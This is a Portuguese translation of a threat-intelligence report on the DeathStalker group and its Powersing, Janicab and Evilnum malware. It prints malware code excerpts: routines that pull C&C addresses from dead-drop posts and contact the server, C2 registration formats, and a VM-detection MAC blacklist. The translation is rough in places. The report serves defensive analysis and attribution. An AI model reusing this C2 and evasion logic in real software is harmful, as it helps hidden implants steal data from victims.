Levantando o véu do DeathStalker: mercenários
Atores de ameaças patrocinados pelo estado e ataques sofisticados costumam estar no centro das atenções. Na verdade, suas técnicas inovadoras, plataformas de malware avançadas e cadeias de exploração de dia zero capturam nossa imaginação coletiva.
No entanto, esses grupos ainda não são propensos a fazer parte do modelo de risco na maioria das empresas, nem deveriam ser. As empresas hoje enfrentam uma série de ameaças muito mais imediatas, desde ransomware e vazamentos de informações de clientes até concorrentes envolvidos em práticas de negócios antiéticas.
Nesta postagem do blog, vamos nos concentrar no DeathStalker: um grupo de ameaça único que parece ter como alvo escritórios de advocacia e empresas do setor financeiro (embora ocasionalmente os tenhamos visto em outros setores também). Tanto quanto podemos dizer, este ator não é motivado por ganhos financeiros. Eles não implantam ransomware, roubam informações de pagamento para revendê-las ou se envolvem em qualquer tipo de atividade comumente associada ao submundo do crime cibernético. Seu interesse em coletar informações comerciais confidenciais nos leva a acreditar que DeathStalker é um grupo de mercenários que oferece serviços de hacking para aluguel ou atua como algum tipo de corretor de informações nos círculos financeiros.
DeathStalker chamou nossa atenção pela primeira vez por meio de um implante baseado em PowerShell chamado Powersing. Ao desvendar essa discussão, fomos capazes de identificar atividades que datam de 2018, e possivelmente até 2012. Mas antes de mergulharmos na história do DeathStalker e possíveis links para grupos conhecidos, vamos começar com um pouco de fundo, começando com este arsenal atual do ator. O conjunto de ferramentas Powersing Visão geral As operações recentes que atribuímos a esse agente de ameaça contam com o mesmo vetor de intrusão: e-mails de spear-phishing com arquivos anexados contendo um arquivo LNK malicioso.
Apesar de parecerem documentos do Explorer ou produtos populares de extração de arquivos, os atalhos levam ao cmd.exe. Esses arquivos de atalho têm a seguinte estrutura:
ure:
Clicar neles inicia uma sequência complicada, resultando na execução de um código arbitrário na máquina da vítima. Um script curto do PowerShell, passado pelos argumentos do cmd.exe, inicializa a seguinte cadeia:
A função do estágio 0 é extrair e executar o próximo elemento da cadeia, bem como um documento falso embutido dentro do arquivo LNK para exibir ao usuário. Isso cria a ilusão de ter clicado em um documento real e garante que a vítima não suspeite. O estágio 1 é um script PowerShell contendo assembly C # projetado para se conectar a um resolvedor de descarte morto (mais sobre isso no próximo parágrafo) e obter material criptográfico usado para decodificar o último estágio da cadeia, extraindo um arquivo “DLL” do atalho e localizar uma lista de URLs codificada em Base64 em um deslocamento fixo. Isso estabelece a persistência criando um atalho (usando o ícone solto) na pasta de inicialização do Windows apontando para o script de inicialização do VBE. Finalmente, no estágio 2, o implante de malware real costumava assumir o controle da máquina da vítima. Ele se conecta a um dos resolvedores de dead drop para obter o endereço do servidor C&C real e entra em um loop que procura pedidos a cada poucos segundos.
Após a reinicialização do sistema, o script de inicialização do VBE – que se assemelha ao estágio 0 – é executado automaticamente, mais uma vez conduzindo ao estágio 2 de Powering. As comunicações com o servidor C&C envolvem a troca de objetos codificados em JSON. Powering tem apenas duas tarefas: Capture imagens periódicas da máquina da vítima, que são enviadas imediatamente para o servidor C&C (dois comandos integrados permitem que os operadores alterem a qualidade e a periodicidade da imagem) Execute scripts Powershell arbitrários fornecidos pelo C&C Nos estágios 1 e 2, a evasão do software de segurança é realizada com um alto grau de variação nas diferentes amostras que analisamos. Dependendo do AV detectado na máquina, o Powersing pode optar por métodos de persistência alternativos, ou mesmo parar de funcionar totalmente. Suspeitamos que o grupo por trás desse conjunto de ferramentas executa testes de detecção antes de cada uma de suas campanhas e atualiza seus scripts com base nos resultados. Isso indica uma abordagem iterativa e rápida para o design de software.
Vale ressaltar que o estágio 2 procura ativamente por traços de virtualização (por exemplo, endereços MAC específicos do fornecedor) e ferramentas de análise de malware na máquina, e relata essas informações ao servidor C&C. Para encerrar esta seção, gostaríamos de mencionar que o Powersing não é uma plataforma de malware monolítica. Em vez disso, é um ponto de apoio furtivo dentro da rede da vítima com seu papel fundamental para permitir a projeção de outras ferramentas. Solucionadores de queda morta A cadeia de ferramentas DeathStalkers aproveita uma série de serviços públicos como resolvedores de perda de dados. Esses serviços fornecem uma maneira para os invasores armazenarem dados em uma URL fixa por meio de postagens públicas, comentários, perfis de usuário, descrições de conteúdo, etc. As mensagens deixadas pelos invasores seguem os seguintes padrões: “Meu teclado não funciona … [string]. ” e “Yo bro, I sing [Base64 codified string] yeah”.
Durante nossa investigação desse ator de ameaça, descobrimos essas mensagens em: Google+ Imgur Reddit ShockChan Tumblr Twitter Youtube WordPress Provavelmente, esta lista não é exaustiva. Várias dessas mensagens podem ser descobertas por meio de consultas simples do Google. A primeira ordem do negócio da Powersing é conectar-se a qualquer solucionador de problemas que ele conheça para recuperar essas informações. O estágio 1 consome a primeira string dessas mensagens, que contém a chave AES usada para decodificar o estágio 2. Em seguida, o estágio 2 se conecta ao resolvedor de descarte morto para obter o inteiro codificado na segunda string. Como mostra o trecho do código abaixo, esse número inteiro é dividido por uma constante arbitrária (que varia dependendo da amostra) antes de ser convertido em um endereço IP:
public string LongToIP(string long_ip_string)
{
long longIP;
long.TryParse(long_ip_string, out longIP);
longIP = longIP / 25835; // NB: divide integer by an arbitrary constant
string ip = string.Empty;
for (int i = 0; i < 4; i++)
{
int num = (int)(longIP / Math.Pow(256, (3 - i)));
longIP = longIP - (long)(num * Math.Pow(256, (3 - i)));
if (i == 0)
ip = num.ToString();
else
ip = ip + "." + num.ToString();
}
return ip;
Este endereço IP é então armazenado no disco rígido do usuário e usado para estabelecer uma conexão com o servidor C&C real usado pelas operadoras para controlar o Powering. Contar com serviços públicos bem conhecidos permite que os cibercriminosos combinem as comunicações backdoor iniciais com o tráfego de rede legítimo. Também limita o que os defensores podem fazer para atrapalhar suas operações, já que essas plataformas geralmente não podem ser bloqueadas no nível da empresa e obter o conteúdo retirado delas pode ser um processo difícil e demorado. No entanto, isso tem um preço: a Internet nunca esquece e também é difícil para os cibercriminosos removerem vestígios de suas operações. Graças aos dados indexados ou arquivados pelos mecanismos de pesquisa, estimamos que o Powersing foi usado pela primeira vez por volta de agosto de 2017.
Um detalhe final que gostaríamos de mencionar é que uma série de Powersing C & Cs que descobrimos tinham certificados SSL que lembram os famosos certificados Chopstick C&C de “Departamento de TI” da Sofacy. Estamos confiantes de que essa infraestrutura não está ligada ao Sofacy e acreditamos que esta é uma tentativa do ator da ameaça de levar os defensores a conclusões errôneas. DeathStalker tem links para grupos conhecidos Janicab A postagem do blog original da Sec0wn apresentando o Powersing sugeria possíveis links com uma família de malware chamada Janicab, cujas amostras mais antigas datam de 2012. No entanto, até onde sabemos, essa conexão nunca foi explorada publicamente. Por fim, obtivemos uma das amostras de malware listadas pela F-Secure em uma postagem do blog de 2015 (1fe4c500c9f0f7630a6037e2de6580e9) no Janicab para procurar semelhanças. Este arquivo é outro LNK apontando para cmd.exe que solta um script VBE no sistema quando clicado, bem como um documento falso. O script estabelece uma conexão com um vídeo do YouTube não listado para obter informações C&C incorporadas na descrição:
O número inteiro obtido nesta página é então dividido por uma constante antes de ser convertido em um endereço IP:
Set objRE = New RegExp
With objRE
.Pattern = "our (.*)th psy anniversary"
.IgnoreCase = True
End With
Set objMatch = objRE.Execute( outputHTML )
If objMatch.Count = 1 Then
server = ""
server = objMatch.Item(0).Submatches(0)
server = server / 31337 'NB: divide integer by an arbitrary constant
'msgbox(server)
server = IPConvert(server)
server = "http://" & server & "/wp-admin-content"
End If
Embora o uso do YouTube como um resolvedor de queda não seja suficiente para estabelecer um link entre os dois grupos, sentimos que o processo de obter um número inteiro em algum lugar online e dividi-lo antes de interpretá-lo como um endereço IP é exclusivo o suficiente para desenhe uma primeira conexão. Os recursos do Janicab também nos lembram dos do Powersing: a amostra contém detecção de VM com base no endereço MAC da máquina, procura programas de análise de malware e tem rotinas familiares de evasão de software antivírus. Janicab também envia periodicamente capturas de tela da área de trabalho da vítima para o C&C e parece permitir a execução de scripts Python arbitrários. Versões mais recentes do Janicab (85ed6ab8f60087e80ab3ff87c15b1174) também envolvem tráfego de rede que lembra o Powering, especialmente quando o malware se registra em seu servidor C&C:
Powersing registration request (POST data) Janicab registration request
{
“un”: “[username]”,
“cn”: “[computer name]”,
“av”: “[installed AV program]”,
“dob”: “[OS installation date]”,
“os”: “[OS version]”,
“ou”: “[campaign identifier]”,
“dc”: “[version]”
} GET /gid.php?action=add&cn=[computer name]&un=[username]&v=[version]&av=[installed AV program]&an=[campaign identifier]
Além disso, este exemplo contém exatamente a mesma lista de endereços MAC de VMs na lista negra que o exemplo Powersing apresentado anteriormente nesta postagem, na mesma ordem.
Powersing’s blacklisted MAC addresses Janicab’s blacklisted MAC addresses
virtual_mac_prefix.Add(“00015D”); macs(0) = “00-01-5D”
virtual_mac_prefix.Add(“0003BA”); macs(1) = “00-03-BA”
virtual_mac_prefix.Add(“000782”); macs(2) = “00-07-82”
virtual_mac_prefix.Add(“000F4B”); macs(3) = “00-0F-4B”
virtual_mac_prefix.Add(“00104F”); macs(4) = “00-10-4F”
virtual_mac_prefix.Add(“0010E0”); macs(5) = “00-10-E0”
virtual_mac_prefix.Add(“00144F”); macs(6) = “00-14-4F”
virtual_mac_prefix.Add(“0020F2”); macs(7) = “00-20-F2”
virtual_mac_prefix.Add(“002128”); macs(8) = “00-21-28”
virtual_mac_prefix.Add(“0021F6”); macs(9) = “00-21-F6”
virtual_mac_prefix.Add(“005056”); macs(10) = “00-50-56”
virtual_mac_prefix.Add(“000C29”); macs(11) = “00-0C-29”
virtual_mac_prefix.Add(“000569”); macs(12) = “00-05-69”
virtual_mac_prefix.Add(“0003FF”); macs(13) = “00-03-FF”
virtual_mac_prefix.Add(“001C42”); macs(14) = “00-1C-42”
virtual_mac_prefix.Add(“00163E”); macs(15) = “00-16-3E”
virtual_mac_prefix.Add(“080027”); macs(16) = “08-00-27”
virtual_mac_prefix.Add(“001C14”); macs(17) = “00-1C-14”
virtual_mac_prefix.Add(“080020”); macs(18) = “08-00-20”
virtual_mac_prefix.Add(“000D3A”); macs(19) = “00-0D-3A”
virtual_mac_prefix.Add(“00125A”); macs(20) = “00-12-5A”
virtual_mac_prefix.Add(“00155D”); macs(21) = “00-15-5D”
virtual_mac_prefix.Add(“0017FA”); macs(22) = “00-17-FA”
virtual_mac_prefix.Add(“001DD8”); macs(23) = “00-1D-D8”
virtual_mac_prefix.Add(“002248”); macs(24) = “00-22-48”
virtual_mac_prefix.Add(“0025AE”); macs(25) = “00-25-AE”
virtual_mac_prefix.Add(“0050C2”); macs(26) = “00-50-C2”
virtual_mac_prefix.Add(“0050F2”); macs(27) = “00-50-F2”
virtual_mac_prefix.Add(“444553”); macs(28) = “44-45-53”
virtual_mac_prefix.Add(“7CED8D”); macs(29) = “7C-ED-8D”
Evilnum
Outra possível conexão que vale a pena investigar diz respeito à família de malware Evilnum mais recente, que foi o assunto de uma postagem detalhada no blog da ESET em julho passado, bem como alguns de nossos próprios relatórios privados. A postagem da ESET detalha outra cadeia de infecção baseada em LNK que leva à execução de malware baseado em Javascript. Mais uma vez, obtivemos uma amostra antiga do Evilnum (219dedb53da6b1dce0d6c071af59b45c) e observamos que ela também obteve informações C&C de um resolvedor de descarte morto (GitHub) para obter um endereço IP convertido com o seguinte código:
function extract_srvaddr() {
serverFound = false;
pattern = 'our news start at (.*) thank you';
while(serverFound == false) {
var item = items[Math.floor(Math.random()*items.length)];
var html = get_page_content_with_ie(item,'');
if(html != '') {
var match = extract_string(pattern, html);
if(match != null) {
srv = num2dot(match[1]/666); // NB: divide integer by a constant
srv = srv + "/Validate";
srv_stat = get_page_content_with_ie(srv+"/ValSrv", '');
validate_str = extract_string('youwillnotfindthisanywhare', srv_stat);
if(validate_str == 'youwillnotfindthisanywhare') {
serverFound = true;
return srv;
}
}
}
}
Não podemos deixar de notar o padrão de procurar uma string específica usando uma expressão regular para obter um número inteiro e, em seguida, dividir esse número inteiro por uma constante, resultando no endereço IP do servidor C&C. Embora o Evilnum ofereça mais recursos do que o Powering, ele também pode capturar imagens e enviá-las ao servidor C&C. Em termos de vitimologia, a Evilnum concentra-se em empresas do setor Fintech. Parece estar mais interessada em inteligência de negócios do que em ganhos financeiros. Isso é consistente com a atividade do DeathStalker que observamos até agora.
Uma conexão final que queremos mencionar é que as amostras recentes do Evilnum (835d94b0490831da27d9bf4e9f4b429c) e do Janicab têm algumas pequenas sobreposições de código, apesar de serem escritas em linguagens diferentes: Variáveis com nomes semelhantes (“ieWatchdogFilename” para Janicab, “ieWatchdogPath” para Evilnum) usadas em funções que executam tarefas equivalentes Duas funções usadas para limpeza têm nomes idênticos: “deleteLeftOvers” Acreditamos que esses nomes são exclusivos o suficiente para criar um vínculo adicional entre as duas famílias de malware. De forma menos conclusiva, esta amostra do Evilnum também contém uma função chamada “long2ip” para converter inteiros em endereços IP, enquanto o Powersing contém uma implementação semelhante sob o nome “LongToIP”.
Resumo Powersing, Janicab e Evilnum são três conjuntos de ferramentas baseadas em linguagem de script que exibem as seguintes semelhanças: Todos os três são distribuídos por meio de arquivos LNK contidos em arquivos entregues por meio de spear-phishing Eles obtêm informações de C&C de resolvedores de queda usando expressões regulares e frases codificadas.
Os endereços IP são obtidos na forma de números inteiros que são divididos por uma constante codificada antes de serem convertidos Pequenas sobreposições de código entre as três famílias de malware podem indicar que eles foram desenvolvidos pela mesma equipe ou dentro de um grupo que compartilha práticas de desenvolvimento de software Todas as três famílias de malware possuem recursos de captura de tela. Embora não seja original em si, isso geralmente não faz parte das prioridades de desenvolvimento de tais grupos e pode ser um indicativo de uma especificação de design compartilhada. Finalmente, embora não tenhamos muitas informações sobre a vitimologia da Janicab, Powersing e Evilnum buscam inteligência de negócios, embora em diferentes setores da indústria. Ambos os conjuntos de atividades são consistentes com a hipótese de que eles são executados por um grupo de mercenários.
Embora nenhum desses pontos por si só seja suficiente aos nossos olhos para tirar uma conclusão, sentimos que juntos eles nos permitem avaliar com confiança média que Powersing, Evilnum e Janicab são operados pelo mesmo grupo. Dados adicionais compartilhados conosco por parceiros da indústria que não podemos divulgar no momento também corroboram essa conclusão. Vitimologia DeathStalker visa principalmente entidades privadas no setor financeiro, incluindo escritórios de advocacia, firmas de consultoria de patrimônio, empresas de tecnologia financeira e assim por diante. Em um único caso, também observamos DeathStalker atacando uma entidade diplomática.
Conseguimos identificar atividades relacionadas ao poder na Argentina, China, Chipre, Israel, Líbano, Suíça, Taiwan, Turquia, Reino Unido e Emirados Árabes Unidos. Também localizamos vítimas do Evilnum em Chipre, Índia, Líbano, Rússia e Emirados Árabes Unidos.
No entanto, acreditamos que DeathStalkers escolhe seus alvos puramente com base em seu valor percebido, ou talvez seguindo as solicitações dos clientes. Nesse contexto, avaliamos que qualquer empresa do setor financeiro poderia chamar a atenção do DeathStalker, independentemente de sua localização geográfica. Conclusão Nesta postagem do blog, descrevemos uma cadeia de infecção moderna que ainda é ativamente usada e desenvolvida por um ator de ameaças hoje.
Não contém truques inovadores ou métodos sofisticados, e certos componentes da corrente podem realmente parecer desnecessariamente complicados. No entanto, se a hipótese estiver correta de que o mesmo grupo opera Janicab e Powersing, isso indica que eles têm aproveitado as mesmas metodologias desde 2012. No mundo da infosec, não é mais “testado e comprovado” do que isso. Com base nos meios tecnológicos limitados que qualquer um desses conjuntos de ferramentas exibe, acreditamos que eles são bons exemplos do que pequenos grupos ou mesmo indivíduos qualificados podem criar. O valor que vemos em divulgar publicamente informações sobre DeathStalker é ter esse ator de ameaça servindo como uma linha de base do que o setor privado deve ser capaz de se defender. Grupos como o DeathStalker representam o tipo de ciberameaça que a maioria das empresas hoje provavelmente enfrentará mais do que APTs patrocinados pelo estado. Devido às suas operações contínuas (DeathStalker notavelmente alavancou COVID-19 para implantação de implantes Janicab e Powersing desde março de 2020) e atividade contínua desde 2018, acreditamos que DeathStalker ainda está desenvolvendo seu conjunto de ferramentas, e que teremos mais para relatar em o futuro próximo. Aconselhamos os defensores a prestar muita atenção a qualquer criação de processo relacionado a intérpretes nativos do Windows para linguagens de script, como powershell.exe e cscript.exe. Sempre que possível, esses utilitários devem ficar indisponíveis. Também recomendamos que futuros treinamentos de conscientização e avaliações de produtos de segurança incluam cadeias de infecção com base em arquivos LNK.
Fonte: https://securelist.com/deathstalker-mercenary-triumvirate/98177/
Foto: Shutterstock